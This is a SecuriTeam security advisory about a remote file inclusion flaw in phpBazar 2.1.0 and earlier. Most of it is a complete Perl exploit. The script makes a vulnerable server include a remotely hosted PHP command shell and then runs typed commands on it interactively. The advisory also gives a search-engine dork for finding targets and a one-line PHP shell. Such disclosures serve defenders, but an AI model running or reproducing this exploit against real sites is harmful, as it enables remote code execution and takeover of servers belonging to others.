[EXPL] phpBazar File Inclusion (Exploit)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  phpBazar File Inclusion (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.smartisoft.com/> phpBazar is a PHP/mySQL Classified Ads & 
Matchmaking."

Improper handling of user input allows attackers to upload arbitrary files 
using phpBazar.

DETAILS

Vulnerable Systems:
 * phpBazar version 2.1.0 and prior

Exploit:
#!/usr/bin/perl
##
# phpBazar <= 2.1.0 Remote File Inclusion Exploit
# by mescalin
# mescalin_ at msn.com | http://mescalin.100free.com
# Google Search=inurl:classified.php phpbazar
#
# usage:
#
# perl phpbazar-210.pl <target> <cmd shell location> <cmd shell variable>
#
# example: if host: http://sitebug.com/dir1/classified.php is vulnerable 
then
# USE: phpbazar-210.pl http://sitebug.com/dir1/ 
http://www.site.com.br/shell.txt cmd
#
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);
##
##
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET 
=>$Path.'classified_right.php?language_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or 
die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ ]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return 
=~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command 
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or 
No Return\n\n"}
if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[ ]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print 
"\n============================================================================\r\n";
 print "       phpBazar <= 2.1.0 Remote File Inclusion Exploit  |  
24/05/06 \r\n";
 print 
"============================================================================\r\n";
 print "            > by mescalin \r\n";
 print "            > mescalin_ at msn.com - http://mescalin.100free.com 
\r\n";
 }
sub usage()
 {
 head();
 print " \r\n";
 print " Usage: perl phpbazar-210.pl <target> <cmd shell location> <cmd 
shell variable>\r\n\n";
 print " <target> - Full path to classified.php \r\n";

 print "    (ex: http://sitebug.com/dir1/classified.php ----> 
http://sitebug.com/dir1/) \r\n";
 print " \r\n";
 print " <cmd shell> - Path to cmd Shell ex 
http://mescalin.v10.com.br/shell.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print " \r\n";

 
 exit();
 }

#EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:mescalin_@msn.com> mescalin 
underground.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.